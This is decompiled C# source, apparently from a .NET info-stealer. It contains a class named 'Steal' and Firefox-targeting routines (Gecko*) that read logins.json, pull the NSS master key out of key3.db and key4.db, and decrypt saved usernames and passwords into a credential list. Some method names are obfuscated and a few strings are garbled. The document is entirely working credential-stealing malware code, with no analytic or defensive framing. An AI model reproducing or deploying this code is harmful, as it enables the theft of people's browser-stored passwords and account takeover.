// Token: 0x060001F5 RID: 501 RVA: 0x0000F250 File Offset: 0x0000D450 public static void Lopos(string profile, byte[] privateKey, string browser_name, string profile_name) { try { string path = Steal.CreateTempCopy(Path.Combine(profile, "logins.json")); if (File.Exists(path)) { foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"])) { JsonValue jsonValue = (JsonValue)obj; Gecko4 gecko = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string text = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(privateKey, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); Steal.credential.Add(string.Concat(new string[] { "URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"Browser : ", browser_name, Environment.NewLine, "Profile : ", profile_name, Environment.NewLine, Steal.credential[i] })); } Steal.credential.Clear(); } } catch (Exception) { } }
// Token: 0x060001F6 RID: 502 RVA: 0x0000F534 File Offset: 0x0000D734 private static byte[] p4k(string file) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(file)) { result = array; } else { CNT cnt = new CNT(file); cnt.ReadTable("metaData"); string s = cnt.ParseValue(0, "item1"); string s2 = cnt.ParseValue(0, "item2)"); Gecko4 gecko = Gecko1.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = gecko.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = gecko.Objects[0].Objects[1].ObjectData; Gecko8 gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.го7па(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.None); cnt.ReadTable("nssPrivate"); int rowLength = cnt.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (cnt.ParseValue(i, "a102") == Encoding.Default.GetString(Steal.Key4MagicNumber)) { s3 = cnt.ParseValue(i, "a11"); break; } } Gecko4 gecko3 = Gecko1.Create(Encoding.Default.GetBytes(s3)); objectData = gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = gecko3.Objects[0].Objects[1].ObjectData; gecko2 = new Gecko8(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); gecko2.го7па(); array = Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, objectData2, PaddingMode.PKCS7)); result = array; } } catch (Exception) { result = array; } return(result); }
// Token: 0x060001F7 RID: 503 RVA: 0x0000F760 File Offset: 0x0000D960 private static byte[] p3k(string file) { byte[] array = new byte[24]; byte[] result; try { if (!File.Exists(file)) { result = array; } else { new DataTable(); Gecko9 berkeleyDB = new Gecko9(file); Gecko7 gecko = new Gecko7(Steal.vbv(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = Steal.vbv(berkeleyDB, (string x) => x.Equals("global-salt")); Gecko8 gecko2 = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), Steal.ConvertHexStringToByteArray(gecko.EntrySalt)); gecko2.го7па(); Gecko6.lTRjlt(gecko2.DataKey, gecko2.DataIV, Steal.ConvertHexStringToByteArray(gecko.Passwordcheck), PaddingMode.None); Gecko4 gecko3 = Gecko1.Create(Steal.ConvertHexStringToByteArray(Steal.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); Gecko8 gecko4 = new Gecko8(Steal.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), gecko3.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); gecko4.го7па(); Gecko4 gecko5 = Gecko1.Create(Gecko1.Create(Encoding.Default.GetBytes(Gecko6.lTRjlt(gecko4.DataKey, gecko4.DataIV, gecko3.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (gecko5.Objects[0].Objects[3].ObjectData.Length <= 24) { array = gecko5.Objects[0].Objects[3].ObjectData; result = array; } else { Array.Copy(gecko5.Objects[0].Objects[3].ObjectData, gecko5.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); result = array; } } } catch (Exception) { result = array; } return(result); }
// Token: 0x060000D8 RID: 216 RVA: 0x0000BA50 File Offset: 0x00009C50 public static Gecko4 Create(byte[] dataToParse) { Gecko4 gecko = new Gecko4(); for (int i = 0; i < dataToParse.Length; i++) { Gecko2 gecko2 = (Gecko2)dataToParse[i]; switch (gecko2) { case Gecko2.Integer: { gecko.Objects.Add(new Gecko4 { ObjectType = Gecko2.Integer, ObjectLength = (int)dataToParse[i + 1] }); byte[] array = new byte[(int)dataToParse[i + 1]]; int length = (i + 2 + (int)dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : ((int)dataToParse[i + 1]); Array.Copy(dataToParse, i + 2, array, 0, length); gecko.Objects[gecko.Objects.Count - 1].ObjectData = array; i = i + 1 + gecko.Objects[gecko.Objects.Count - 1].ObjectLength; break; } case Gecko2.BitString: case Gecko2.Null: break; case Gecko2.OctetString: { gecko.Objects.Add(new Gecko4 { ObjectType = Gecko2.OctetString, ObjectLength = (int)dataToParse[i + 1] }); byte[] array2 = new byte[(int)dataToParse[i + 1]]; int length = (i + 2 + (int)dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : ((int)dataToParse[i + 1]); Array.Copy(dataToParse, i + 2, array2, 0, length); gecko.Objects[gecko.Objects.Count - 1].ObjectData = array2; i = i + 1 + gecko.Objects[gecko.Objects.Count - 1].ObjectLength; break; } case Gecko2.ObjectIdentifier: { gecko.Objects.Add(new Gecko4 { ObjectType = Gecko2.ObjectIdentifier, ObjectLength = (int)dataToParse[i + 1] }); byte[] array3 = new byte[(int)dataToParse[i + 1]]; int length = (i + 2 + (int)dataToParse[i + 1] > dataToParse.Length) ? (dataToParse.Length - (i + 2)) : ((int)dataToParse[i + 1]); Array.Copy(dataToParse, i + 2, array3, 0, length); gecko.Objects[gecko.Objects.Count - 1].ObjectData = array3; i = i + 1 + gecko.Objects[gecko.Objects.Count - 1].ObjectLength; break; } default: if (gecko2 == Gecko2.Sequence) { byte[] array4; if (gecko.ObjectLength == 0) { gecko.ObjectType = Gecko2.Sequence; gecko.ObjectLength = dataToParse.Length - (i + 2); array4 = new byte[gecko.ObjectLength]; } else { gecko.Objects.Add(new Gecko4 { ObjectType = Gecko2.Sequence, ObjectLength = (int)dataToParse[i + 1] }); array4 = new byte[(int)dataToParse[i + 1]]; } int num = (array4.Length > dataToParse.Length - (i + 2)) ? (dataToParse.Length - (i + 2)) : array4.Length; Array.Copy(dataToParse, i + 2, array4, 0, array4.Length); gecko.Objects.Add(Gecko1.Create(array4)); i = i + 1 + (int)dataToParse[i + 1]; } break; } } return(gecko); }